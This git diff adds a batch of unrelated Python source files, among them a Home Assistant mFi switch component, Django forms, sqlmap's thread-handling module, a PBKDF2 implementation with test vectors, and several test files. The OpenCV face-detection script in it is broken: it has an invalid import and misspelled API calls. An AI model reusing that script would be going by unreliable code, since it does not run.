{DOMAIN: ['host', + CONF_USERNAME, + CONF_PASSWORD]}, + _LOGGER): + _LOGGER.error('A host, username, and password are required') + return False + + host = config.get('host') + port = int(config.get('port', 6443)) + username = config.get('username') + password = config.get('password') + + from mficlient.client import MFiClient + + try: + client = MFiClient(host, username, password, port=port) + except client.FailedToLogin as ex: + _LOGGER.error('Unable to connect to mFi: %s', str(ex)) + return False + + add_devices(MfiSwitch(port) + for device in client.get_devices() + for port in device.ports.values() + if port.model in SWITCH_MODELS) + + +class MfiSwitch(SwitchDevice): + """ An mFi switch-able device. """ + def __init__(self, port): + self._port = port + self._target_state = None + + @property + def should_poll(self): + return True + + @property + def unique_id(self): + return self._port.ident + + @property + def name(self): + return self._port.label + + @property + def is_on(self): + return self._port.output + + def update(self): + self._port.refresh() + if self._target_state is not None: + self._port.data['output'] = float(self._target_state) + self._target_state = None + + def turn_on(self): + self._port.control(True) + self._target_state = True + + def turn_off(self): + self._port.control(False) + self._target_state = False + + @property + def current_power_mwh(self): + return int(self._port.data.get('active_pwr', 0) * 1000) + + @property + def device_state_attributes(self): + attr = {} + attr['volts'] = round(self._port.data.get('v_rms', 0), 1) + attr['amps'] = round(self._port.data.get('i_rms', 0), 1) + return attr diff --git a/pool/shard009/Python/0083176_forms.py b/pool/shard009/Python/0083176_forms.py new file mode 100644 index 0000000000000000000000000000000000000000..8a4fa96ea48a85e6d0148148c482d90eb7b9157d --- /dev/null +++ b/pool/shard009/Python/0083176_forms.py @@ -0,0 +1,69 @@ +# -*- coding: utf-8 -*- +# +# Copyright (C) Zing contributors. +# +# This file is a part of the Zing project. It is distributed under the GPL3 +# or later license. See the LICENSE file for a copy of the license and the +# AUTHORS file for copyright and authorship information. + +from django import forms +from django.utils.translation import gettext_lazy as _ + +from accounts.models import CURRENCIES + +from .models import PaidTask, PaidTaskTypes + + +class UserRatesForm(forms.Form): + username = forms.CharField(widget=forms.HiddenInput()) + currency = forms.ChoiceField( + label=_("Currency"), + choices=CURRENCIES, + initial=CURRENCIES[0], + widget=forms.Select(attrs={"class": "rate"}), + ) + rate = forms.FloatField( + label=_("Translation Rate"), + widget=forms.TextInput( + attrs={"step": "0.01", "type": "number", "class": "rate"} + ), + ) + review_rate = forms.FloatField( + label=_("Review Rate"), + widget=forms.TextInput( + attrs={"step": "0.01", "type": "number", "class": "rate"} + ), + ) + hourly_rate = forms.FloatField( + label=_("Hourly Rate"), + widget=forms.TextInput( + attrs={"step": "0.01", "type": "number", "class": "rate"} + ), + ) + effective_from = forms.DateField( + label=_("Effective from"), + widget=forms.DateInput(attrs={"placeholder": "YYYY-MM-DD"}), + required=False, + ) + + +class PaidTaskForm(forms.ModelForm): + class Meta(object): + model = PaidTask + fields = ("task_type", "amount", "rate", "datetime", "description", "user") + widgets = { + "user": forms.HiddenInput(), + "rate": forms.HiddenInput(attrs={"id": "id_paid_task_rate"}), + } + + def __init__(self, *args, **kwargs): + user = kwargs.pop("user", None) + super().__init__(*args, **kwargs) + + if user is not None and user.hourly_rate == 0: + choices = [ + item + for item in self.fields["task_type"].choices + if item[0] != PaidTaskTypes.HOURLY_WORK + ] + self.fields["task_type"].choices = choices diff --git a/pool/shard009/Python/0083181_face_detect.py b/pool/shard009/Python/0083181_face_detect.py new file mode 100644 index 0000000000000000000000000000000000000000..2b553f48beb9e65fc7d1b6ac3aa0f998f1f48e60 --- /dev/null +++ b/pool/shard009/Python/0083181_face_detect.py @@ -0,0 +1,26 @@ +import sys.os +import cv + +def detectObject(image): + size = cv.GetSize(image) + grayscale = cv.CreateImage(size, 8, 1) + cv.cvtColor(image, grayscale, cv.CV_BGR2GRAY) + storage = cv.CreateMemStorage(0) + cv.EqualizeHist(grayscale, grayscale) + cascade = cv.Load("haarcascade_frontalface_alt.xml") + faces = cv.HarrDetectObjects(grayscale, cascade, storage, 1.2, 2 + cv.CV_HAAR_DO_CANNY_PRUNING, (100, 100)) + for i in faces: + ((x, y, w, h), d) = i + cv.Rectangle(image, (int(x), int(y)), + (int(x+w), int(y+h)), + cv.CV_RGB(0, 255, 0), 3, 8, 0) + +def displayObject(image): + cv.ShowImage("face", image) + cv.WaitKey(0) + +if __name__ == "__main__": + image = cv.LoadImage("face.png") + detectObject(image) + displayObject(image) diff --git a/pool/shard009/Python/0083186_20d6dfa4bb1_.py b/pool/shard009/Python/0083186_20d6dfa4bb1_.py new file mode 100644 index 0000000000000000000000000000000000000000..ea8236dded8641a388ee3f6bfb7448512cf8e7d6 --- /dev/null +++ b/pool/shard009/Python/0083186_20d6dfa4bb1_.py @@ -0,0 +1,52 @@ +"""empty message + +Revision ID: 20d6dfa4bb1 +Revises: 80d3aa6008 +Create Date: 2015-06-17 14:46:42.969164 + +""" + +# revision identifiers, used by Alembic. +revision = '20d6dfa4bb1' +down_revision = '80d3aa6008' + +from alembic import op +import sqlalchemy as sa +from sqlalchemy.dialects import mysql + +def upgrade(): + ### commands auto generated by Alembic - please adjust! ### + op.create_table('user_profile', + sa.Column('id', sa.Integer(), nullable=False), + sa.Column('uid', sa.Integer(), nullable=True), + sa.Column('age', sa.SmallInteger(), nullable=True), + sa.Column('sex', sa.SmallInteger(), nullable=True), + sa.Column('head', sa.String(length=255), nullable=True), + sa.Column('photo', sa.String(length=255), nullable=True), + sa.Column('about', sa.Text(), nullable=True), + sa.ForeignKeyConstraint(['uid'], ['user.id'], ), + sa.PrimaryKeyConstraint('id') + ) + op.create_index(op.f('ix_user_profile_uid'), 'user_profile', ['uid'], unique=False) + op.drop_table('userinfo') + ### end Alembic commands ### + + +def downgrade(): + ### commands auto generated by Alembic - please adjust! ### + op.create_table('userinfo', + sa.Column('id', mysql.INTEGER(display_width=11), nullable=False), + sa.Column('uid', mysql.INTEGER(display_width=11), autoincrement=False, nullable=True), + sa.Column('age', mysql.SMALLINT(display_width=6), autoincrement=False, nullable=True), + sa.Column('sex', mysql.SMALLINT(display_width=6), autoincrement=False, nullable=True), + sa.Column('head', mysql.VARCHAR(length=255), nullable=True), + sa.Column('photo', mysql.VARCHAR(length=255), nullable=True), + sa.Column('about', mysql.TEXT(), nullable=True), + sa.ForeignKeyConstraint(['uid'], ['user.id'], name='userinfo_ibfk_1'), + sa.PrimaryKeyConstraint('id'), + mysql_default_charset='latin1', + mysql_engine='InnoDB' + ) + op.drop_index(op.f('ix_user_profile_uid'), table_name='user_profile') + op.drop_table('user_profile') + ### end Alembic commands ### diff --git a/pool/shard009/Python/0083187_threads.py b/pool/shard009/Python/0083187_threads.py new file mode 100644 index 0000000000000000000000000000000000000000..8f89fb1b8b01a500996ad9381a87ebdca022e007 --- /dev/null +++ b/pool/shard009/Python/0083187_threads.py @@ -0,0 +1,217 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) +See the file 'doc/COPYING' for copying permission +""" + +import difflib +import random +import threading +import time +import traceback + +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.datatype import AttribDict +from lib.core.enums import PAYLOAD +from lib.core.exception import SqlmapConnectionException +from lib.core.exception import SqlmapThreadException +from lib.core.exception import SqlmapUserQuitException +from lib.core.exception import SqlmapValueException +from lib.core.settings import MAX_NUMBER_OF_THREADS +from lib.core.settings import PYVERSION + +shared = AttribDict() + +class _ThreadData(threading.local): + """ + Represents thread independent data + """ + + def __init__(self): + self.reset() + + def reset(self): + """ + Resets thread data model + """ + + self.disableStdOut = False + self.hashDBCursor = None + self.inTransaction = False + self.lastCode = None + self.lastComparisonPage = None + self.lastComparisonHeaders = None + self.lastComparisonCode = None + self.lastComparisonRatio = None + self.lastErrorPage = None + self.lastHTTPError = None + self.lastRedirectMsg = None + self.lastQueryDuration = 0 + self.lastPage = None + self.lastRequestMsg = None + self.lastRequestUID = 0 + self.lastRedirectURL = None + self.random = random.WichmannHill() + self.resumed = False + self.retriesCount = 0 + self.seqMatcher = difflib.SequenceMatcher(None) + self.shared = shared + self.validationRun = 0 + self.valueStack = [] + +ThreadData = _ThreadData() + +def getCurrentThreadUID(): + return hash(threading.currentThread()) + +def readInput(message, default=None, checkBatch=True, boolean=False): + # It will be overwritten by original from lib.core.common + pass + +def getCurrentThreadData(): + """ + Returns current thread's local data + """ + + global ThreadData + + return ThreadData + +def getCurrentThreadName(): + """ + Returns current's thread name + """ + + return threading.current_thread().getName() + +def exceptionHandledFunction(threadFunction, silent=False): + try: + threadFunction() + except KeyboardInterrupt: + kb.threadContinue = False + kb.threadException = True + raise + except Exception, ex: + if not silent: + logger.error("thread %s: %s" % (threading.currentThread().getName(), ex.message)) + +def setDaemon(thread): + # Reference: http://stackoverflow.com/questions/190010/daemon-threads-explanation + if PYVERSION >= "2.6": + thread.daemon = True + else: + thread.setDaemon(True) + +def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardException=True, threadChoice=False, startThreadMsg=True): + threads = [] + + kb.multiThreadMode = True + kb.threadContinue = True + kb.threadException = False + + if threadChoice and numThreads == 1 and not (kb.injection.data and not any(_ not in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED) for _ in kb.injection.data)): + while True: + message = "please enter number of threads? [Enter for %d (current)] " % numThreads + choice = readInput(message, default=str(numThreads)) + if choice: + skipThreadCheck = False + if choice.endswith('!'): + choice = choice[:-1] + skipThreadCheck = True + if choice.isdigit(): + if int(choice) > MAX_NUMBER_OF_THREADS and not skipThreadCheck: + errMsg = "maximum number of used threads is %d avoiding potential connection issues" % MAX_NUMBER_OF_THREADS + logger.critical(errMsg) + else: + conf.threads = numThreads = int(choice) + break + + if numThreads == 1: + warnMsg = "running in a single-thread mode. This could take a while" + logger.warn(warnMsg) + + try: + if numThreads > 1: + if startThreadMsg: + infoMsg = "starting %d threads" % numThreads + logger.info(infoMsg) + else: + threadFunction() + return + + # Start the threads + for numThread in xrange(numThreads): + thread = threading.Thread(target=exceptionHandledFunction, name=str(numThread), args=[threadFunction]) + + setDaemon(thread) + + try: + thread.start() + except Exception, ex: + errMsg = "error occurred while starting new thread ('%s')" % ex.message + logger.critical(errMsg) + break + + threads.append(thread) + + # And wait for them to all finish + alive = True + while alive: + alive = False + for thread in threads: + if thread.isAlive(): + alive = True + time.sleep(0.1) + + except (KeyboardInterrupt, SqlmapUserQuitException), ex: + print + kb.threadContinue = False + kb.threadException = True + + if numThreads > 1: + logger.info("waiting for threads to finish%s" % (" (Ctrl+C was pressed)" if isinstance(ex, KeyboardInterrupt) else "")) + try: + while (threading.activeCount() > 1): + pass + + except KeyboardInterrupt: + raise SqlmapThreadException("user aborted (Ctrl+C was pressed multiple times)") + + if forwardException: + raise + + except (SqlmapConnectionException, SqlmapValueException), ex: + print + kb.threadException = True + logger.error("thread %s: %s" % (threading.currentThread().getName(), ex.message)) + + except: + from lib.core.common import unhandledExceptionMessage + + print + kb.threadException = True + errMsg = unhandledExceptionMessage() + logger.error("thread %s: %s" % (threading.currentThread().getName(), errMsg)) + traceback.print_exc() + + finally: + kb.multiThreadMode = False + kb.bruteMode = False + kb.threadContinue = True + kb.threadException = False + + for lock in kb.locks.values(): + if lock.locked(): + try: + lock.release() + except: + pass + + if conf.get("hashDB"): + conf.hashDB.flush(True) + + if cleanupFunction: + cleanupFunction() diff --git a/pool/shard009/Python/0083193_snr_goodpdf.py b/pool/shard009/Python/0083193_snr_goodpdf.py new file mode 100644 index 0000000000000000000000000000000000000000..52ccd005441b3275f99f881dc58694202ef0a661 --- /dev/null +++ b/pool/shard009/Python/0083193_snr_goodpdf.py @@ -0,0 +1,90 @@ +import numpy as np +import matplotlib.pyplot as plt +import matplotlib as mpl +import astropy.table as t +from astropy.io import fits + +import os, sys, glob +from itertools import product as iterprod + +from importer import * + +# personal +import manga_tools as m + +from figures_tools import savefig, gen_gridspec_fig + +class PDFvsSNRFig(object): + def __init__(self, fracs): + self.fracs = fracs + self.nfracs = len(fracs) + + # load figure and gridspec object + self.gs, self.fig = gen_gridspec_fig( + self.nfracs, spsize=(2.5, 1.)) + self.subplot_inds = list(iterprod(range(self.gs._nrows), range(self.gs._ncols))) + + self.fracs_plot_ix = dict(zip(sorted(fracs), self.subplot_inds)) + self.fig_axes = {f: self.fig.add_subplot(self.gs[ix[0], ix[1]]) + for f, ix in self.fracs_plot_ix.items()} + + for f_, ax_ in self.fig_axes.items(): + ax_.tick_params(labelsize='x-small') + ax_.set_xscale('log') + ax_.set_xlim([.1, 200.]) + ax_.text(x=.2, y=.1, s='f = {:.2f}'.format(f_), size='x-small') + + self.fig.suptitle('SNR vs PDF population', size='x-small') + + @classmethod + def from_PDFSNR_Result(cls, res): + if not isinstance(res, PDFSNR_Result): + raise TypeError('res must be an instance of PDFSNR_Result class') + fracs = res.frac_dict.keys() + return cls(fracs) + + def add_object(self, frac_dict, snr, **kwargs): + for fk, fv in frac_dict.items(): + self.add_to_subplot(key=fk, frac=fv, snr=snr) + + def add_to_subplot(self, key, frac, snr, **kwargs): + plotting_kwargs = dict(s=.5, edgecolor='None', alpha=.5) + kw = {**plotting_kwargs, **kwargs} + self.fig_axes[key].scatter(snr.flatten(), frac.flatten(), **kw) + + def savefig(self): + savefig(self.fig, fname='snr_vs_goodpdf.png', fdir='.') + +class PDFSNR_Result(object): + def __init__(self, frac_dict, snr): + self.snr = snr + self.frac_dict = frac_dict + + @classmethod + def from_fname(cls, fname): + return cls(*retrieve_snr_fracs(fname)) + + def __getitem__(self, k): + return self.frac_dict[k] + +def retrieve_snr_fracs(fn): + hdulist = fits.open(fn) + nfracs = hdulist['GOODFRAC'].data.shape[0] + fracs = {hdulist['GOODFRAC'].header['FRAC{}'.format(fri)]: \ + hdulist['GOODFRAC'].data[fri, :, :] for fri in range(nfracs)} + snrs = hdulist['SNRMED'].data + hdulist.close() + return fracs, snrs + +if __name__ == '__main__': + res_fnames = glob.glob('results/*/*_res.fits') + + pdfsnr_results = list(map(PDFSNR_Result.from_fname, res_fnames)) + + snrfig = PDFvsSNRFig.from_PDFSNR_Result(pdfsnr_results[0]) + + for i, res in enumerate(pdfsnr_results): + snrfig.add_object(frac_dict=res.frac_dict, snr=res.snr, + facecolor='C{}'.format(i % 10)) + + snrfig.savefig() diff --git a/pool/shard009/Python/0083198_test_vis.py b/pool/shard009/Python/0083198_test_vis.py new file mode 100644 index 0000000000000000000000000000000000000000..30f08980a2c2a1d1762decb2951d3327d2491b2e --- /dev/null +++ b/pool/shard009/Python/0083198_test_vis.py @@ -0,0 +1,118 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- +""" +test_data +Test for visualization class +@author: baihan +""" +import unittest +import numpy as np +import pyrsa.vis as rsv +import pyrsa.rdm as rsr +from scipy.spatial.distance import pdist + + +class TestVIS(unittest.TestCase): + + def test_vis_mds_output_shape_corresponds_to_inputs(self): + dis = np.random.rand(8, 10) + mes = "Euclidean" + des = {'session': 0, 'subj': 0} + rdms = rsr.RDMs(dissimilarities=dis, + dissimilarity_measure=mes, + descriptors=des) + mds_emb = rsv.mds(rdms) + self.assertEqual(mds_emb.shape, (8, 5, 2)) + + def test_vis_3d_mds_output_shape_corresponds_to_inputs(self): + dis = np.random.rand(8, 10) + mes = "Euclidean" + des = {'session': 0, 'subj': 0} + rdms = rsr.RDMs(dissimilarities=dis, + dissimilarity_measure=mes, + descriptors=des) + mds_emb = rsv.mds(rdms, dim=3) + self.assertEqual(mds_emb.shape, (8, 5, 3)) + + def test_vis_weighted_mds_output_shape_corresponds_to_inputs(self): + dis = np.random.rand(8, 10) + wes = np.random.random((8, 10)) + mes = "Euclidean" + des = {'session': 0, 'subj': 0} + rdms = rsr.RDMs(dissimilarities=dis, + dissimilarity_measure=mes, + descriptors=des) + mds_emb = rsv.mds(rdms, weight=wes) + self.assertEqual(mds_emb.shape, (8, 5, 2)) + + def test_vis_3d_weighted_mds_output_shape_corresponds_to_inputs(self): + dis = np.random.rand(8, 10) + wes = np.random.random((8, 10)) + mes = "Euclidean" + des = {'session': 0, 'subj': 0} + rdms = rsr.RDMs(dissimilarities=dis, + dissimilarity_measure=mes, + descriptors=des) + mds_emb = rsv.mds(rdms, dim=3, weight=wes) + self.assertEqual(mds_emb.shape[0], 8) + self.assertEqual(mds_emb.shape[1], 5) + self.assertEqual(mds_emb.shape[2], 3) + + def test_vis_weighted_mds_output_behaves_like_mds(self): + dis = np.random.rand(8, 10) + wes = np.ones((8, 10)) + mes = "Euclidean" + des = {'session': 0, 'subj': 0} + rdms = rsr.RDMs(dissimilarities=dis, + dissimilarity_measure=mes, + descriptors=des) + mds_emb = rsv.mds(rdms) + wmds_emb = rsv.mds(rdms, weight=wes) + np.testing.assert_allclose(pdist(mds_emb[0]), pdist(wmds_emb[0]), + atol=3e-1) + + def test_vis_3d_weighted_mds_output_behaves_like_mds(self): + dis = np.random.rand(8, 10) + wes = np.ones((8, 10)) + mes = "Euclidean" + des = {'session': 0, 'subj': 0} + rdms = rsr.RDMs(dissimilarities=dis, + dissimilarity_measure=mes, + descriptors=des) + mds_emb = rsv.mds(rdms, dim=3) + wmds_emb = rsv.mds(rdms, dim=3, weight=wes) + np.testing.assert_allclose(pdist(mds_emb[0]), pdist(wmds_emb[0]), + atol=3e-1) + + +class Test_Icon(unittest.TestCase): + + def test_Icon_no_error(self): + import PIL + from pyrsa.vis import Icon + import matplotlib.pyplot as plt + test_im = PIL.Image.fromarray(255 * np.random.rand(50, 100)) + ic5 = Icon(image=test_im, col='red', border_width=5, + make_square=True, resolution=20) + ic5.plot(0.8, 0.8) + ic = Icon(image=255 * np.random.rand(50, 100), cmap='Blues') + ax = plt.axes(label='test') + ic.plot(0.5, 0.5, ax=ax) + ic2 = Icon(image=test_im, col='black', border_width=15, + string='test') + ic2.plot(0.8, 0.2, ax=ax, size=0.4) + ic2.x_tick_label(0.5, 0.15, offset=7) + ic2.y_tick_label(0.5, 0.25, offset=7) + ic3 = Icon(image=test_im, col='red', border_width=5, + make_square=True) + ic3.plot(0.2, 0.2, size=0.4) + ic4 = Icon(string='test') + ic4.plot(0.2, 0.8, size=0.4) + ic4.x_tick_label(0.75, 0.15, offset=7) + ic4.y_tick_label(0.75, 0.25, offset=17) + + self.assertEqual(ic2.image, test_im) + + +if __name__ == '__main__': + unittest.main() diff --git a/pool/shard009/Python/0083200_api2_test.py b/pool/shard009/Python/0083200_api2_test.py new file mode 100644 index 0000000000000000000000000000000000000000..fdb7b3cf8ba634c5175ba9581f2e427fee9b28a1 --- /dev/null +++ b/pool/shard009/Python/0083200_api2_test.py @@ -0,0 +1,59 @@ +'''Test cases for PySide API2 support''' + + +import unittest +import sys + +from PySide2.QtGui import QIntValidator, QValidator +from PySide2.QtWidgets import QWidget, QSpinBox, QApplication + +from helper import UsesQApplication + +class WidgetValidatorQInt(QWidget, QIntValidator): + def __init__(self, parent=None): + QWidget.__init__(self, parent) + QIntValidator.__init__(self, parent) + +class WidgetValidatorQSpinBox(QSpinBox): + def __init__(self, parent=None): + QSpinBox.__init__(self, parent) + + def fixup(self, text): + print("It was called!") + +class DoubleQObjectInheritanceTest(UsesQApplication): + + def testDouble(self): + '''Double inheritance from QObject classes''' + + obj = WidgetValidatorQInt() + + #QIntValidator methods + state, string, number = obj.validate('Test', 0) + self.assertEqual(state, QValidator.Invalid) + state, string, number = obj.validate('33', 0) + self.assertEqual(state, QValidator.Acceptable) + + def testQSpinBox(self): + obj = WidgetValidatorQSpinBox() + + obj.setRange(1, 10) + obj.setValue(0) + self.assertEqual(obj.value(), 1) + +class QClipboardTest(UsesQApplication): + + def testQClipboard(self): + #skip this test on MacOS because the clipboard is not available during the ssh session + #this cause problems in the buildbot + if sys.platform == 'darwin': + return + clip = QApplication.clipboard() + clip.setText("Testing this thing!") + + text, subtype = clip.text("") + self.assertEqual(subtype, "plain") + self.assertEqual(text, "Testing this thing!") + +if __name__ == '__main__': + unittest.main() diff --git a/pool/shard009/Python/0083204_test_json.py b/pool/shard009/Python/0083204_test_json.py new file mode 100644 index 0000000000000000000000000000000000000000..222d87e79f5d2a7567632cb0dd14eb15b399037c --- /dev/null +++ b/pool/shard009/Python/0083204_test_json.py @@ -0,0 +1,88 @@ +# -*- coding: utf-8 -*- +# +# Copyright (C) 2014 Carlos Jenkins +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, +# software distributed under the License is distributed on an +# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY +# KIND, either express or implied. See the License for the +# specific language governing permissions and limitations +# under the License. + +""" +Test confspec.providers.json module. +""" + +from __future__ import absolute_import, division, print_function + +from pytest import raises + +from confspec.manager import ConfigMg +from confspec.providers.json import JSONFormatProvider + +from ..options import spec + + +input_str = """\ +{ + "collectionconfigopts": { + "configlistint": [ + 1, + 2, + 3, + 4, + 5 + ] + }, + "entityconfigopts": { + "configboolean": true, + "configfloat": 100.0, + "configint": 0 + } +} +""" + +bad_inputs = [ + # Bad input + ("""dasdsdaddP{,,},11""", ValueError), + # Valid JSON, not object + ("""100""", SyntaxError), + # First level keys are no categories + ("""{"foo": 100}""", SyntaxError), + # Unknown category + ("""{"mynonexistantcategory": {"foo": 100}}""", None), + # Unknown key + ("""{"entityconfigopts": {"unknownkey": 99}}""", None), + # Known key in wrong category + ("""{"collectionconfigopts": {"configint": 99}}""", SyntaxError), + # Setting a bad value + ("""{"entityconfigopts": {"configint": "abc"}}""", ValueError), +] + + +def test_JSONFormatProvider(): + + mgr = ConfigMg(spec) + JSONFormatProvider.do_import(mgr, input_str) + output_str = JSONFormatProvider.do_export(mgr) + print('Expected output:') + print(output_str) + assert input_str.strip() == output_str.strip() + + # Check bad input (default safe=True) + mgr._safe = True + for bad, exc in bad_inputs: + JSONFormatProvider.do_import(mgr, bad) + + # Check bad input (safe=False) + mgr._safe = False + for bad, exc in bad_inputs: + if exc is not None: + with raises(exc): + JSONFormatProvider.do_import(mgr, bad) diff --git a/pool/shard009/Python/0083205_conanfile.py b/pool/shard009/Python/0083205_conanfile.py new file mode 100644 index 0000000000000000000000000000000000000000..fe2a1a476bd7cdd500c16cc176b28b194106a95a --- /dev/null +++ b/pool/shard009/Python/0083205_conanfile.py @@ -0,0 +1,17 @@ +from conans import ConanFile, CMake, tools +import os + + +class HelloWorldConan(ConanFile): + settings = "os", "compiler", "build_type", "arch" + generators = "cmake" + name = "helloworld" + version = "0.0.1" + + requires = "grpc/1.27.3@orbitdeps/stable" + build_requires = "grpc_codegen/1.27.3@orbitdeps/stable" + + def build(self): + cmake = CMake(self) + cmake.configure() + cmake.build() diff --git a/pool/shard009/Python/0083206_pbkdf2.py b/pool/shard009/Python/0083206_pbkdf2.py new file mode 100644 index 0000000000000000000000000000000000000000..6a297ef85a733bce00135c97ddc808cba21ec833 --- /dev/null +++ b/pool/shard009/Python/0083206_pbkdf2.py @@ -0,0 +1,172 @@ +# -*- coding: utf-8 -*- +""" + pbkdf2 + ~~~~~~ + + This module implements pbkdf2 for Python. It also has some basic + tests that ensure that it works. The implementation is straightforward + and uses stdlib only stuff and can be easily be copy/pasted into + your favourite application. + + Use this as replacement for bcrypt that does not need a c implementation + of a modified blowfish crypto algo. + + Example usage: + + >>> pbkdf2_hex('what i want to hash', 'the random salt') + 'fa7cc8a2b0a932f8e6ea42f9787e9d36e592e0c222ada6a9' + + How to use this: + + 1. Use a constant time string compare function to compare the stored hash + with the one you're generating:: + + def safe_str_cmp(a, b): + if len(a) != len(b): + return False + rv = 0 + for x, y in izip(a, b): + rv |= ord(x) ^ ord(y) + return rv == 0 + + 2. Use `os.urandom` to generate a proper salt of at least 8 byte. + Use a unique salt per hashed password. + + 3. Store ``algorithm$salt:costfactor$hash`` in the database so that + you can upgrade later easily to a different algorithm if you need + one. For instance ``PBKDF2-256$thesalt:10000$deadbeef...``. + + + :copyright: (c) Copyright 2011 by Armin Ronacher. + :license: BSD, see LICENSE for more details. +""" +from binascii import hexlify +import hmac +import hashlib +import sys +from struct import Struct +from operator import xor +from itertools import starmap + +PY3 = sys.version_info[0] == 3 + +if not PY3: + from itertools import izip as zip + +if PY3: + text_type = str +else: + text_type = unicode + + +_pack_int = Struct('>I').pack + + +def bytes_(s, encoding='utf8', errors='strict'): + if isinstance(s, text_type): + return s.encode(encoding, errors) + return s + + +def hexlify_(s): + if PY3: + return str(hexlify(s), encoding="utf8") + else: + return s.encode('hex') + + +def range_(*args): + if PY3: + return range(*args) + else: + return xrange(*args) + + +def pbkdf2_hex(data, salt, iterations=1000, keylen=24, hashfunc=None): + """Like :func:`pbkdf2_bin` but returns a hex encoded string.""" + return hexlify_(pbkdf2_bin(data, salt, iterations, keylen, hashfunc)) + + +def pbkdf2_bin(data, salt, iterations=1000, keylen=24, hashfunc=None): + """Returns a binary digest for the PBKDF2 hash algorithm of `data` + with the given `salt`. It iterates `iterations` time and produces a + key of `keylen` bytes. By default SHA-1 is used as hash function, + a different hashlib `hashfunc` can be provided. + """ + hashfunc = hashfunc or hashlib.sha1 + mac = hmac.new(bytes_(data), None, hashfunc) + + def _pseudorandom(x, mac=mac): + h = mac.copy() + h.update(bytes_(x)) + if PY3: + return [x for x in h.digest()] + else: + return map(ord, h.digest()) + buf = [] + for block in range_(1, -(-keylen // mac.digest_size) + 1): + rv = u = _pseudorandom(bytes_(salt) + _pack_int(block)) + for i in range_(iterations - 1): + if PY3: + u = _pseudorandom(bytes(u)) + else: + u = _pseudorandom(''.join(map(chr, u))) + rv = starmap(xor, zip(rv, u)) + buf.extend(rv) + if PY3: + return bytes(buf)[:keylen] + else: + return ''.join(map(chr, buf))[:keylen] + + +def test(): + failed = [] + + def check(data, salt, iterations, keylen, expected): + rv = pbkdf2_hex(data, salt, iterations, keylen) + if rv != expected: + print('Test failed:') + print(' Expected: %s' % expected) + print(' Got: %s' % rv) + print(' Parameters:') + print(' data=%s' % data) + print(' salt=%s' % salt) + print(' iterations=%d' % iterations) + failed.append(1) + + # From RFC 6070 + check('password', 'salt', 1, 20, + '0c60c80f961f0e71f3a9b524af6012062fe037a6') + check('password', 'salt', 2, 20, + 'ea6c014dc72d6f8ccd1ed92ace1d41f0d8de8957') + check('password', 'salt', 4096, 20, + '4b007901b765489abead49d926f721d065a429c1') + check('passwordPASSWORDpassword', 'saltSALTsaltSALTsaltSALTsaltSALTsalt', + 4096, 25, '3d2eec4fe41c849b80c8d83662c0e44a8b291a964cf2f07038') + check('pass\x00word', 'sa\x00lt', 4096, 16, + '56fa6aa75548099dcc37d7f03425e0c3') + # This one is from the RFC but it just takes for ages + ##check('password', 'salt', 16777216, 20, + ## 'eefe3d61cd4da4e4e9945b3d6ba2158c2634e984') + + # From Crypt-PBKDF2 + check('password', 'ATHENA.MIT.EDUraeburn', 1, 16, + 'cdedb5281bb2f801565a1122b2563515') + check('password', 'ATHENA.MIT.EDUraeburn', 1, 32, + 'cdedb5281bb2f801565a1122b25635150ad1f7a04bb9f3a333ecc0e2e1f70837') + check('password', 'ATHENA.MIT.EDUraeburn', 2, 16, + '01dbee7f4a9e243e988b62c73cda935d') + check('password', 'ATHENA.MIT.EDUraeburn', 2, 32, + '01dbee7f4a9e243e988b62c73cda935da05378b93244ec8f48a99e61ad799d86') + check('password', 'ATHENA.MIT.EDUraeburn', 1200, 32, + '5c08eb61fdf71e4e4ec3cf6ba1f5512ba7e52ddbc5e5142f708a31e2e62b1e13') + check('X' * 64, 'pass phrase equals block size', 1200, 32, + '139c30c0966bc32ba55fdbf212530ac9c5ec59f1a452f5cc9ad940fea0598ed1') + check('X' * 65, 'pass phrase exceeds block size', 1200, 32, + '9ccad6d468770cd51b10e6a68721be611a8b4d282601db3b36be9246915ec82a') + + raise SystemExit(bool(failed)) + + +if __name__ == '__main__': + test() diff --git a/pool/shard009/Python/0083209_conftest.py b/pool/shard009/Python/0083209_conftest.py new file mode 100644 index 0000000000000000000000000000000000000000..ac5c73198773b1b0ef85ffa3bca1c512b222b56d --- /dev/null +++ b/pool/shard009/Python/0083209_conftest.py @@ -0,0 +1,83 @@ +import pytest + +import asyncio +import threading + +from cloudbot import setup_bot +from cloudbot.util import paths +from cloudbot.bot import CloudBot + + +class ThreadFixture(object): + def stop(self): + self.thread.join(15) + + @property + def alive(self): + return self.thread.is_alive() + + +@pytest.fixture(scope='session') +def server(request): + """Return a miniircd server bound to localhost + """ + from expp.cloudbot.test import miniircd + class IRCOptions(object): + listen = '127.0.0.1' + ports = [6667] + password = None + ssl_pem_file = None + motd = None + verbose = False + debug = False + logdir = None + chroot = False + setuid = False + statedir = None + ssl = False + + server = miniircd.Server(IRCOptions()) + thread = threading.Thread(target=server.start) + thread.daemon = True + thread.start() + + def fin(): + thread.join(5) + request.addfinalizer(fin) + + return server + + +def run_bot(loop): + asyncio.set_event_loop(loop) + + paths.add_plugin_dir('plugins') + paths.set_path('config_file', 'test/conf.test.json') + paths.set_path('log_dir', 'test/logs') + paths.set_path('data_dir', 'test/data') + paths.reload_paths(daemon=True) + setup_bot() + + bot = CloudBot(loop) + bot.run() + + +@pytest.fixture(scope='session') +def bot(request, server): + """Return a CloudBot instance connected to a local irc server + """ + + thread = threading.Thread(target=run_bot, args=(asyncio.get_event_loop(),)) + thread.daemon = True + thread.start() + + def fin(): + thread.join(5) + request.addfinalizer(fin) + + +@pytest.fixture(scope='session') +def bot_blocking(request, server): + """Return a blocking CloudBot instance connected to a local irc server + """ + run_bot(asyncio.get_event_loop()) diff --git a/pool/shard009/Python/0083218_block_storage.py b/pool/shard009/Python/0083218_block_storage.py new file mode 100644 index 0000000000000000000000000000000000000000..bd58e17f291cff1f1a922231885f4a7895e02a03 --- /dev/null +++ b/pool/shard009/Python/0083218_block_storage.py @@ -0,0 +1,24 